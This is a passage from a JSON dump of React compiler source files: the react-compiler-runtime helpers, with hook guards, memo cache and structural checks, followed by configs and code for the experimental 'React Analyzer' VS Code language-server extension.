    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\n\nconst {useRef, useEffect, isValidElement} = React;\nconst ReactSecretInternals =\n  //@ts-ignore\n  React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE ??\n  //@ts-ignore\n  React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\ntype MemoCache = Array<number | typeof $empty>;\n\nconst $empty = Symbol.for('react.memo_cache_sentinel');\n\n// Re-export React.c if present, otherwise fallback to the userspace polyfill for versions of React\n// < 19.\nexport const c =\n  // @ts-expect-error\n  typeof React.__COMPILER_RUNTIME?.c === 'function'\n    ? // @ts-expect-error\n      React.__COMPILER_RUNTIME.c\n    : function c(size: number) {\n        return React.useMemo<Array<unknown>>(() => {\n          const $ = new Array(size);\n          for (let ii = 0; ii < size; ii++) {\n            $[ii] = $empty;\n          }\n          // This symbol is added to tell the react devtools that this array is from\n          // useMemoCache.\n          // @ts-ignore\n          $[$empty] = true;\n          return $;\n        }, []);\n      };\n\nconst LazyGuardDispatcher: {[key: string]: (...args: Array<any>) => any} = {};\n[\n  'readContext',\n  'useCallback',\n  'useContext',\n  'useEffect',\n  'useImperativeHandle',\n  'useInsertionEffect',\n  'useLayoutEffect',\n  'useMemo',\n  'useReducer',\n  'useRef',\n  'useState',\n  'useDebugValue',\n  'useDeferredValue',\n  'useTransition',\n  'useMutableSource',\n  'useSyncExternalStore',\n  'useId',\n  'unstable_isNewReconciler',\n  'getCacheSignal',\n  'getCacheForType',\n  'useCacheRefresh',\n].forEach(name => {\n  LazyGuardDispatcher[name] = () => {\n    throw new Error(\n      `[React] Unexpected React hook call (${name}) from a React compiled function. ` +\n        \"Check that all hooks are called directly and named according to convention ('use[A-Z]') \",\n    );\n  };\n});\n\nlet originalDispatcher: unknown = null;\n\n// Allow guards are not emitted for useMemoCache\nLazyGuardDispatcher['useMemoCache'] = (count: number) => {\n  if (originalDispatcher == null) {\n    throw new Error(\n      'React Compiler internal invariant violation: unexpected null dispatcher',\n    );\n  } else {\n    return (originalDispatcher as any).useMemoCache(count);\n  }\n};\n\nenum GuardKind {\n  PushGuardContext = 0,\n  PopGuardContext = 1,\n  PushExpectHook = 2,\n  PopExpectHook = 3,\n}\n\nfunction setCurrent(newDispatcher: any) {\n  ReactSecretInternals.ReactCurrentDispatcher.current = newDispatcher;\n  return ReactSecretInternals.ReactCurrentDispatcher.current;\n}\n\nconst guardFrames: Array<unknown> = [];\n\n/**\n * When `enableEmitHookGuards` is set, this does runtime validation\n * of the no-conditional-hook-calls rule.\n * As React Compiler needs to statically understand which calls to move out of\n * conditional branches (i.e. React Compiler cannot memoize the results of hook\n * calls), its understanding of \"the rules of React\" are more restrictive.\n * This validation throws on unsound inputs at runtime.\n *\n * Components should only be invoked through React as React Compiler could memoize\n * the call to AnotherComponent, introducing conditional hook calls in its\n * compiled output.\n * ```js\n * function Invalid(props) {\n *  const myJsx = AnotherComponent(props);\n *  return <div> { myJsx } </div>;\n * }\n *\n * Hooks must be named as hooks.\n * ```js\n * const renamedHook = useState;\n * function Invalid() {\n *   const [state, setState] = renamedHook(0);\n * }\n * ```\n *\n * Hooks must be directly called.\n * ```\n * function call(fn) {\n *  return fn();\n * }\n * function Invalid() {\n *   const result = call(useMyHook);\n * }\n * ```\n */\nexport function $dispatcherGuard(kind: GuardKind) {\n  const curr = ReactSecretInternals.ReactCurrentDispatcher.current;\n  if (kind === GuardKind.PushGuardContext) {\n    // Push before checking invariant or errors\n    guardFrames.push(curr);\n\n    if (guardFrames.length === 1) {\n      // save if we're the first guard on the stack\n      originalDispatcher = curr;\n    }\n\n    if (curr === LazyGuardDispatcher) {\n      throw new Error(\n        `[React] Unexpected call to custom hook or component from a React compiled function. ` +\n          \"Check that (1) all hooks are called directly and named according to convention ('use[A-Z]') \" +\n          'and (2) components are returned as JSX instead of being directly invoked.',\n      );\n    }\n    setCurrent(LazyGuardDispatcher);\n  } else if (kind === GuardKind.PopGuardContext) {\n    // Pop before checking invariant or errors\n    const lastFrame = guardFrames.pop();\n\n    if (lastFrame == null) {\n      throw new Error(\n        'React Compiler internal error: unexpected null in guard stack',\n      );\n    }\n    if (guardFrames.length === 0) {\n      originalDispatcher = null;\n    }\n    setCurrent(lastFrame);\n  } else if (kind === GuardKind.PushExpectHook) {\n    // ExpectHooks could be nested, so we save the current dispatcher\n    // for the matching PopExpectHook to restore.\n    guardFrames.push(curr);\n    setCurrent(originalDispatcher);\n  } else if (kind === GuardKind.PopExpectHook) {\n    const lastFrame = guardFrames.pop();\n    if (lastFrame == null) {\n      throw new Error(\n        'React Compiler internal error: unexpected null in guard stack',\n      );\n    }\n    setCurrent(lastFrame);\n  } else {\n    throw new Error('React Compiler internal error: unreachable block' + kind);\n  }\n}\n\nexport function $reset($: MemoCache) {\n  for (let ii = 0; ii < $.length; ii++) {\n    $[ii] = $empty;\n  }\n}\n\nexport function $makeReadOnly() {\n  throw new Error('TODO: implement $makeReadOnly in react-compiler-runtime');\n}\n\n/**\n * Instrumentation to count rerenders in React components\n */\nexport const renderCounterRegistry: Map<\n  string,\n  Set<{count: number}>\n> = new Map();\nexport function clearRenderCounterRegistry() {\n  for (const counters of renderCounterRegistry.values()) {\n    counters.forEach(counter => {\n      counter.count = 0;\n    });\n  }\n}\n\nfunction registerRenderCounter(name: string, val: {count: number}) {\n  let counters = renderCounterRegistry.get(name);\n  if (counters == null) {\n    counters = new Set();\n    renderCounterRegistry.set(name, counters);\n  }\n  counters.add(val);\n}\n\nfunction removeRenderCounter(name: string, val: {count: number}): void {\n  const counters = renderCounterRegistry.get(name);\n  if (counters == null) {\n    return;\n  }\n  counters.delete(val);\n}\n\nexport function useRenderCounter(name: string): void {\n  const val = useRef<{count: number}>(null);\n\n  if (val.current != null) {\n    val.current.count += 1;\n  }\n  useEffect(() => {\n    // Not counting initial render shouldn't be a problem\n    if (val.current == null) {\n      const counter = {count: 0};\n      registerRenderCounter(name, counter);\n      // @ts-ignore\n      val.current = counter;\n    }\n    return () => {\n      if (val.current !== null) {\n        removeRenderCounter(name, val.current);\n      }\n    };\n  });\n}\n\nconst seenErrors = new Set();\n\nexport function $structuralCheck(\n  oldValue: any,\n  newValue: any,\n  variableName: string,\n  fnName: string,\n  kind: string,\n  loc: string,\n): void {\n  function error(l: string, r: string, path: string, depth: number) {\n    const str = `${fnName}:${loc} [${kind}] ${variableName}${path} changed from ${l} to ${r} at depth ${depth}`;\n    if (seenErrors.has(str)) {\n      return;\n    }\n    seenErrors.add(str);\n    console.error(str);\n  }\n  const depthLimit = 2;\n  function recur(oldValue: any, newValue: any, path: string, depth: number) {\n    if (depth > depthLimit) {\n      return;\n    } else if (oldValue === newValue) {\n      return;\n    } else if (typeof oldValue !== typeof newValue) {\n      error(`type ${typeof oldValue}`, `type ${typeof newValue}`, path, depth);\n    } else if (typeof oldValue === 'object') {\n      const oldArray = Array.isArray(oldValue);\n      const newArray = Array.isArray(newValue);\n      if (oldValue === null && newValue !== null) {\n        error('null', `type ${typeof newValue}`, path, depth);\n      } else if (newValue === null) {\n        error(`type ${typeof oldValue}`, 'null', path, depth);\n      } else if (oldValue instanceof Map) {\n        if (!(newValue instanceof Map)) {\n          error(`Map instance`, `other value`, path, depth);\n        } else if (oldValue.size !== newValue.size) {\n          error(\n            `Map instance with size ${oldValue.size}`,\n            `Map instance with size ${newValue.size}`,\n            path,\n            depth,\n          );\n        } else {\n          for (const [k, v] of oldValue) {\n            if (!newValue.has(k)) {\n              error(\n                `Map instance with key ${k}`,\n                `Map instance without key ${k}`,\n                path,\n                depth,\n              );\n            } else {\n              recur(v, newValue.get(k), `${path}.get(${k})`, depth + 1);\n            }\n          }\n        }\n      } else if (newValue instanceof Map) {\n        error('other value', `Map instance`, path, depth);\n      } else if (oldValue instanceof Set) {\n        if (!(newValue instanceof Set)) {\n          error(`Set instance`, `other value`, path, depth);\n        } else if (oldValue.size !== newValue.size) {\n          error(\n            `Set instance with size ${oldValue.size}`,\n            `Set instance with size ${newValue.size}`,\n            path,\n            depth,\n          );\n        } else {\n          for (const v of newValue) {\n            if (!oldValue.has(v)) {\n              error(\n                `Set instance without element ${v}`,\n                `Set instance with element ${v}`,\n                path,\n                depth,\n              );\n            }\n          }\n        }\n      } else if (newValue instanceof Set) {\n        error('other value', `Set instance`, path, depth);\n      } else if (oldArray || newArray) {\n        if (oldArray !== newArray) {\n          error(\n            `type ${oldArray ? 'array' : 'object'}`,\n            `type ${newArray ? 'array' : 'object'}`,\n            path,\n            depth,\n          );\n        } else if (oldValue.length !== newValue.length) {\n          error(\n            `array with length ${oldValue.length}`,\n            `array with length ${newValue.length}`,\n            path,\n            depth,\n          );\n        } else {\n          for (let ii = 0; ii < oldValue.length; ii++) {\n            recur(oldValue[ii], newValue[ii], `${path}[${ii}]`, depth + 1);\n          }\n        }\n      } else if (isValidElement(oldValue) || isValidElement(newValue)) {\n        if (isValidElement(oldValue) !== isValidElement(newValue)) {\n          error(\n            `type ${isValidElement(oldValue) ? 'React element' : 'object'}`,\n            `type ${isValidElement(newValue) ? 'React element' : 'object'}`,\n            path,\n            depth,\n          );\n        } else if (oldValue.type !== newValue.type) {\n          error(\n            `React element of type ${oldValue.type}`,\n            `React element of type ${newValue.type}`,\n            path,\n            depth,\n          );\n        } else {\n          recur(\n            oldValue.props,\n            newValue.props,\n            `[props of ${path}]`,\n            depth + 1,\n          );\n        }\n      } else {\n        for (const key in newValue) {\n          if (!(key in oldValue)) {\n            error(\n              `object without key ${key}`,\n              `object with key ${key}`,\n              path,\n              depth,\n            );\n          }\n        }\n        for (const key in oldValue) {\n          if (!(key in newValue)) {\n            error(\n              `object with key ${key}`,\n              `object without key ${key}`,\n              path,\n              depth,\n            );\n          } else {\n            recur(oldValue[key], newValue[key], `${path}.${key}`, depth + 1);\n          }\n        }\n      }\n    } else if (typeof oldValue === 'function') {\n      // Bail on functions for now\n      return;\n    } else if (isNaN(oldValue) || isNaN(newValue)) {\n      if (isNaN(oldValue) !== isNaN(newValue)) {\n        error(\n          `${isNaN(oldValue) ? 'NaN' : 'non-NaN value'}`,\n          `${isNaN(newValue) ? 'NaN' : 'non-NaN value'}`,\n          path,\n          depth,\n        );\n      }\n    } else if (oldValue !== newValue) {\n      error(oldValue, newValue, path, depth);\n    }\n  }\n  recur(oldValue, newValue, '', 0);\n}\n"
  },
  {
    "path": "compiler/packages/react-compiler-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"@tsconfig/strictest/tsconfig.json\",\n  \"compilerOptions\": {\n    \"module\": \"ES2015\",\n    \"moduleResolution\": \"Bundler\",\n    \"declaration\": true,\n    \"outDir\": \"dist\",\n    \"jsx\": \"react-jsxdev\",\n\n    // weaken strictness from preset\n    \"importsNotUsedAsValues\": \"remove\",\n    \"noUncheckedIndexedAccess\": false,\n    \"noUnusedParameters\": false,\n    \"useUnknownInCatchVariables\": false,\n    \"target\": \"ES2015\",\n    // ideally turn off only during dev, or on a per-file basis\n    \"noUnusedLocals\": false,\n    \"sourceMap\": true,\n    \"removeComments\": true\n  },\n  \"exclude\": [\"node_modules\"],\n  \"include\": [\"src/**/*.ts\"]\n}\n"
  },
  {
    "path": "compiler/packages/react-compiler-runtime/tsup.config.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {defineConfig} from 'tsup';\n\nexport default defineConfig({\n  entry: ['./src/index.ts'],\n  outDir: './dist',\n  external: ['react'],\n  splitting: false,\n  sourcemap: true,\n  dts: false,\n  bundle: true,\n  format: 'cjs',\n  platform: 'node',\n  target: 'es2015',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n\"use no memo\";`,\n  },\n});\n"
  },
  {
    "path": "compiler/packages/react-forgive/.vscode-test.mjs",
    "content": "import {defineConfig} from '@vscode/test-cli';\n\nexport default defineConfig({files: 'dist/test/**/*.test.js'});\n"
  },
  {
    "path": "compiler/packages/react-forgive/.vscodeignore",
    "content": "**/node_modules\nclient\nserver\nscripts\n.vscode-test.mjs\n"
  },
  {
    "path": "compiler/packages/react-forgive/.yarnrc",
    "content": "ignore-engines true\n"
  },
  {
    "path": "compiler/packages/react-forgive/LICENSE",
    "content": "MIT License\n\nCopyright (c) Meta Platforms, Inc. and affiliates.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "compiler/packages/react-forgive/client/package.json",
    "content": "{\n  \"private\": \"true\",\n  \"name\": \"react-forgive-client\",\n  \"version\": \"0.0.0\",\n  \"description\": \"Experimental LSP client\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"build\": \"echo 'no build'\",\n    \"test\": \"echo 'no tests'\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-forgive\"\n  },\n  \"dependencies\": {\n    \"vscode-languageclient\": \"^9.0.1\"\n  },\n  \"devDependencies\": {\n    \"@types/vscode\": \"^1.95.0\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/client/src/colors.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\ntype RGB = [number, number, number];\n\nconst int = Math.floor;\n\nexport class Color {\n  constructor(\n    private r: number,\n    private g: number,\n    private b: number,\n  ) {}\n\n  toAlphaString(a: number) {\n    return this.toCssString(a);\n  }\n  toString() {\n    return this.toCssString(1);\n  }\n\n  /**\n   * Adjust the color by a multiplier to lighten (`> 1.0`) or darken (`< 1.0`) the color. Returns a new\n   * instance.\n   */\n  adjusted(mult: number) {\n    const adjusted = Color.redistribute([\n      this.r * mult,\n      this.g * mult,\n      this.b * mult,\n    ]);\n    return new Color(...adjusted);\n  }\n\n  private toCssString(a: number) {\n    return `rgba(${this.r},${this.g},${this.b},${a})`;\n  }\n  /**\n   * Redistributes rgb, maintaing hue until its clamped.\n   * https://stackoverflow.com/a/141943\n   */\n  private static redistribute([r, g, b]: RGB): RGB {\n    const threshold = 255.999;\n    const max = Math.max(r, g, b);\n    if (max <= threshold) {\n      return [int(r), int(g), int(b)];\n    }\n    const total = r + g + b;\n    if (total >= 3 * threshold) {\n      return [int(threshold), int(threshold), int(threshold)];\n    }\n    const x = (3 * threshold - total) / (3 * max - total);\n    const gray = threshold - x * max;\n    return [int(gray + x * r), int(gray + x * g), int(gray + x * b)];\n  }\n}\n\nexport const BLACK = new Color(0, 0, 0);\nexport const WHITE = new Color(255, 255, 255);\n\nconst COLOR_POOL = [\n  new Color(249, 65, 68),\n  new Color(243, 114, 44),\n  new Color(248, 150, 30),\n  new Color(249, 132, 74),\n  new Color(249, 199, 79),\n  new Color(144, 190, 109),\n  new Color(67, 170, 139),\n  new Color(77, 144, 142),\n  new Color(87, 117, 144),\n  new Color(39, 125, 161),\n];\n\nexport function getColorFor(index: number): Color {\n  return COLOR_POOL[Math.abs(index) % COLOR_POOL.length]!;\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/client/src/extension.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as path from 'path';\nimport * as vscode from 'vscode';\n\nimport {\n  LanguageClient,\n  LanguageClientOptions,\n  ServerOptions,\n  TransportKind,\n} from 'vscode-languageclient/node';\n\nlet client: LanguageClient;\n\nexport function activate(context: vscode.ExtensionContext) {\n  const serverModule = context.asAbsolutePath(path.join('dist', 'server.js'));\n  const documentSelector = [\n    {scheme: 'file', language: 'javascriptreact'},\n    {scheme: 'file', language: 'typescriptreact'},\n  ];\n\n  // If the extension is launched in debug mode then the debug server options are used\n  // Otherwise the run options are used\n  const serverOptions: ServerOptions = {\n    run: {\n      module: serverModule,\n      transport: TransportKind.ipc,\n    },\n    debug: {\n      module: serverModule,\n      transport: TransportKind.ipc,\n    },\n  };\n\n  const clientOptions: LanguageClientOptions = {\n    documentSelector,\n    progressOnInitialization: true,\n  };\n\n  // Create the language client and start the client.\n  try {\n    client = new LanguageClient(\n      'react-forgive',\n      'React Analyzer',\n      serverOptions,\n      clientOptions,\n    );\n  } catch {\n    vscode.window.showErrorMessage(\n      `React Analyzer couldn't be started. See the output channel for details.`,\n    );\n    return;\n  }\n\n  client.registerProposedFeatures();\n  client.start();\n}\n\nexport function deactivate(): Thenable<void> | undefined {\n  if (client !== undefined) {\n    return client.stop();\n  }\n  return;\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/client/src/mapping.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as vscode from 'vscode';\nimport {Position} from 'vscode-languageclient/node';\n\nexport function positionLiteralToVSCodePosition(\n  position: Position,\n): vscode.Position {\n  return new vscode.Position(position.line, position.character);\n}\n\nexport function positionsToRange(start: Position, end: Position): vscode.Range {\n  return new vscode.Range(\n    positionLiteralToVSCodePosition(start),\n    positionLiteralToVSCodePosition(end),\n  );\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/package.json",
    "content": "{\n  \"name\": \"react-forgive\",\n  \"displayName\": \"React Analyzer\",\n  \"description\": \"React LSP\",\n  \"license\": \"MIT\",\n  \"version\": \"0.0.0\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-forgive\"\n  },\n  \"categories\": [\n    \"Programming Languages\"\n  ],\n  \"keywords\": [\n    \"react\",\n    \"react analyzer\",\n    \"react compiler\"\n  ],\n  \"publisher\": \"Meta\",\n  \"engines\": {\n    \"vscode\": \"^1.96.0\"\n  },\n  \"activationEvents\": [\n    \"onLanguage:javascriptreact\",\n    \"onLanguage:typescriptreact\"\n  ],\n  \"main\": \"./dist/extension.js\",\n  \"contributes\": {\n    \"commands\": [\n      {\n        \"command\": \"react-forgive.toggleAll\",\n        \"title\": \"React Analyzer: Toggle on/off\"\n      }\n    ]\n  },\n  \"scripts\": {\n    \"build\": \"yarn run compile\",\n    \"build:compiler\": \"yarn workspace babel-plugin-react-compiler build --dts\",\n    \"compile\": \"rimraf dist && concurrently -n server,client \\\"scripts/build.mjs -t server\\\" \\\"scripts/build.mjs -t client\\\"\",\n    \"dev\": \"yarn run package && yarn run install-ext\",\n    \"install-ext\": \"code --install-extension react-forgive-0.0.0.vsix\",\n    \"lint\": \"echo 'no tests'\",\n    \"package\": \"rm -f react-forgive-0.0.0.vsix && vsce package --yarn\",\n    \"postinstall\": \"cd client && yarn install && cd ../server && yarn install && cd ..\",\n    \"pretest\": \"yarn run build:compiler && yarn run compile && yarn run lint\",\n    \"test\": \"vscode-test\",\n    \"vscode:prepublish\": \"yarn run compile\",\n    \"watch\": \"scripts/build.mjs --watch\"\n  },\n  \"devDependencies\": {\n    \"@eslint/js\": \"^9.13.0\",\n    \"@types/mocha\": \"^10.0.10\",\n    \"@types/node\": \"^20\",\n    \"@types/vscode\": \"^1.96.0\",\n    \"@vscode/test-cli\": \"^0.0.10\",\n    \"@vscode/test-electron\": \"^2.4.1\",\n    \"eslint\": \"^9.13.0\",\n    \"mocha\": \"^11.0.1\",\n    \"typescript-eslint\": \"^8.16.0\",\n    \"yargs\": \"^17.7.2\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/scripts/build.mjs",
    "content": "#!/usr/bin/env node\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as esbuild from 'esbuild';\nimport yargs from 'yargs';\nimport * as Server from './server.mjs';\nimport * as Client from './client.mjs';\nimport path from 'path';\nimport {fileURLToPath} from 'url';\n\nconst IS_DEV = process.env.NODE_ENV === 'development';\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nconst argv = yargs(process.argv.slice(2))\n  .choices('t', ['client', 'server'])\n  .options('w', {\n    alias: 'watch',\n    default: false,\n    type: 'boolean',\n  })\n  .parse();\n\nasync function main() {\n  if (argv.w) {\n    const serverCtx = await esbuild.context(Server.config);\n    const clientCtx = await esbuild.context(Client.config);\n    await Promise.all([serverCtx.watch(), clientCtx.watch()]);\n    console.log('watching for changes...');\n  } else {\n    switch (argv.t) {\n      case 'server': {\n        await esbuild.build({\n          sourcemap: IS_DEV,\n          minify: IS_DEV === false,\n          ...Server.config,\n        });\n        break;\n      }\n      case 'client': {\n        await esbuild.build({\n          sourcemap: IS_DEV,\n          minify: IS_DEV === false,\n          ...Client.config,\n        });\n        break;\n      }\n    }\n  }\n}\n\nmain();\n"
  },
  {
    "path": "compiler/packages/react-forgive/scripts/client.mjs",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport path from 'path';\nimport {fileURLToPath} from 'url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport const entryPoint = path.join(__dirname, '../client/src/extension.ts');\nexport const outfile = path.join(__dirname, '../dist/extension.js');\nexport const config = {\n  entryPoints: [entryPoint],\n  outfile,\n  bundle: true,\n  external: ['vscode'],\n  format: 'cjs',\n  platform: 'node',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n`,\n  },\n};\n"
  },
  {
    "path": "compiler/packages/react-forgive/scripts/server.mjs",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport path from 'path';\nimport {fileURLToPath} from 'url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = path.dirname(__filename);\n\nexport const entryPoint = path.join(__dirname, '../server/src/index.ts');\nexport const outfile = path.join(__dirname, '../dist/server.js');\nexport const config = {\n  entryPoints: [entryPoint],\n  outfile,\n  bundle: true,\n  external: ['vscode'],\n  format: 'cjs',\n  platform: 'node',\n  banner: {\n    js: `/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @lightSyntaxTransform\n * @noflow\n * @nolint\n * @preventMunge\n * @preserve-invariant-messages\n */\n\n`,\n  },\n};\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/package.json",
    "content": "{\n  \"private\": \"true\",\n  \"name\": \"react-forgive-server\",\n  \"version\": \"0.0.0\",\n  \"description\": \"Experimental LSP server\",\n  \"license\": \"MIT\",\n  \"scripts\": {\n    \"build\": \"rimraf dist && rollup --config --bundleConfigAsCjs\",\n    \"test\": \"echo 'no tests'\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/facebook/react.git\",\n    \"directory\": \"compiler/packages/react-forgive\"\n  },\n  \"dependencies\": {\n    \"@babel/core\": \"^7.26.0\",\n    \"@babel/parser\": \"^7.26.0\",\n    \"@babel/plugin-syntax-typescript\": \"^7.25.9\",\n    \"@babel/types\": \"^7.26.0\",\n    \"prettier\": \"^3.3.3\",\n    \"vscode-languageserver\": \"^9.0.1\",\n    \"vscode-languageserver-textdocument\": \"^1.0.12\"\n  }\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/src/compiler/compat.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {type SourceLocation} from 'babel-plugin-react-compiler';\nimport {type Range} from 'vscode-languageserver';\n\nexport function babelLocationToRange(loc: SourceLocation): Range | null {\n  if (typeof loc === 'symbol') {\n    return null;\n  }\n  return {\n    start: {line: loc.start.line - 1, character: loc.start.column},\n    end: {line: loc.end.line - 1, character: loc.end.column},\n  };\n}\n\n/**\n * Refine range to only the first character.\n */\nexport function getRangeFirstCharacter(range: Range): Range {\n  return {\n    start: range.start,\n    end: range.start,\n  };\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/src/compiler/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type * as BabelCore from '@babel/core';\nimport {parseAsync, transformFromAstAsync} from '@babel/core';\nimport BabelPluginReactCompiler, {\n  type PluginOptions,\n} from 'babel-plugin-react-compiler';\nimport * as babelParser from 'prettier/plugins/babel.js';\nimport estreeParser from 'prettier/plugins/estree';\nimport * as typescriptParser from 'prettier/plugins/typescript';\nimport * as prettier from 'prettier/standalone';\n\nexport let lastResult: BabelCore.BabelFileResult | null = null;\n\ntype CompileOptions = {\n  text: string;\n  file: string;\n  options: PluginOptions | null;\n};\nexport async function compile({\n  text,\n  file,\n  options,\n}: CompileOptions): Promise<BabelCore.BabelFileResult | null> {\n  const ast = await parseAsync(text, {\n    sourceFileName: file,\n    parserOpts: {\n      plugins: ['typescript', 'jsx'],\n    },\n    sourceType: 'module',\n    configFile: false,\n    babelrc: false,\n  });\n  if (ast == null) {\n    return null;\n  }\n  const plugins =\n    options != null\n      ? [[BabelPluginReactCompiler, options]]\n      : [[BabelPluginReactCompiler]];\n  const result = await transformFromAstAsync(ast, text, {\n    filename: file,\n    highlightCode: false,\n    retainLines: true,\n    plugins,\n    sourceType: 'module',\n    sourceFileName: file,\n    configFile: false,\n    babelrc: false,\n  });\n  if (result?.code == null) {\n    throw new Error(\n      `Expected BabelPluginReactCompiler to compile successfully, got ${result}`,\n    );\n  }\n  result.code = await prettier.format(result.code, {\n    semi: false,\n    parser: 'babel-ts',\n    plugins: [babelParser, estreeParser, typescriptParser],\n  });\n  if (result.code != null) {\n    lastResult = result;\n  }\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/react-forgive/server/src/index.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {TextDocument} from 'vscode-languageserver-textdocument';\nimport {\n  CodeLens,\n  createConnection,\n  type InitializeParams,\n  type InitializeResult,\n  ProposedFeatures,\n  TextDocuments,\n  TextDocumentSyncKind,\n} from 'vscode-languageserver/node';\nimport {compile, lastResult} from './compiler';\nimport {\n  type CompileSuccessEvent,\n  type LoggerEvent,\n  type PluginOptions,\n  defaultOptions,\n} from 'babel-plugin-react-compiler';\nimport {babelLocationToRange, getRangeFirstCharacter} from './compiler/compat';\n\nconst SUPPORTED_LANGUAGE_IDS = new Set([\n  'javascript',\n  'javascriptreact',\n  'typescript',\n  'typescriptreact',\n]);\n\nconst connection = createConnection(ProposedFeatures.all);\nconst documents = new TextDocuments(TextDocument);\n\nlet compilerOptions: PluginOptions | null = null;\nlet compiledFns: Set<CompileSuccessEvent> = new Set();\n\nconnection.onInitialize((_params: InitializeParams) => {\n  compilerOptions = defaultOptions;\n  compilerOptions = {\n    ...compilerOptions,\n    logger: {\n      logEvent(_filename: string | null, event: LoggerEvent) {\n        connection.console.info(`Received event: ${event.kind}`);\n        connection.console.debug(JSON.stringify(event, null, 2));\n        if (event.kind === 'CompileSuccess') {\n          compiledFns.add(event);\n        }\n      },\n    },\n  };\n  const result: InitializeResult = {\n    capabilities: {\n      textDocumentSync: TextDocumentSyncKind.Full,\n      codeLensProvider: {resolveProvider: true},\n    },\n  };\n  return result;\n});\n\nconnection.onInitialized(() => {\n  connection.console.log('initialized');\n});\n\ndocuments.onDidChangeContent(async event => {\n  connection.console.info(`Compiling: ${event.document.uri}`);\n  resetState();\n  if (SUPPORTED_LANGUAGE_IDS.has(event.document.languageId)) {\n    const text = event.document.getText();\n    try {\n      await compile({\n        text,\n        file: event.document.uri,\n        options: compilerOptions,\n      });\n    } catch (err) {\n      connection.console.error('Failed to compile');\n      if (err instanceof Error) {\n        connection.console.error(err.stack ?? err.message);\n      } 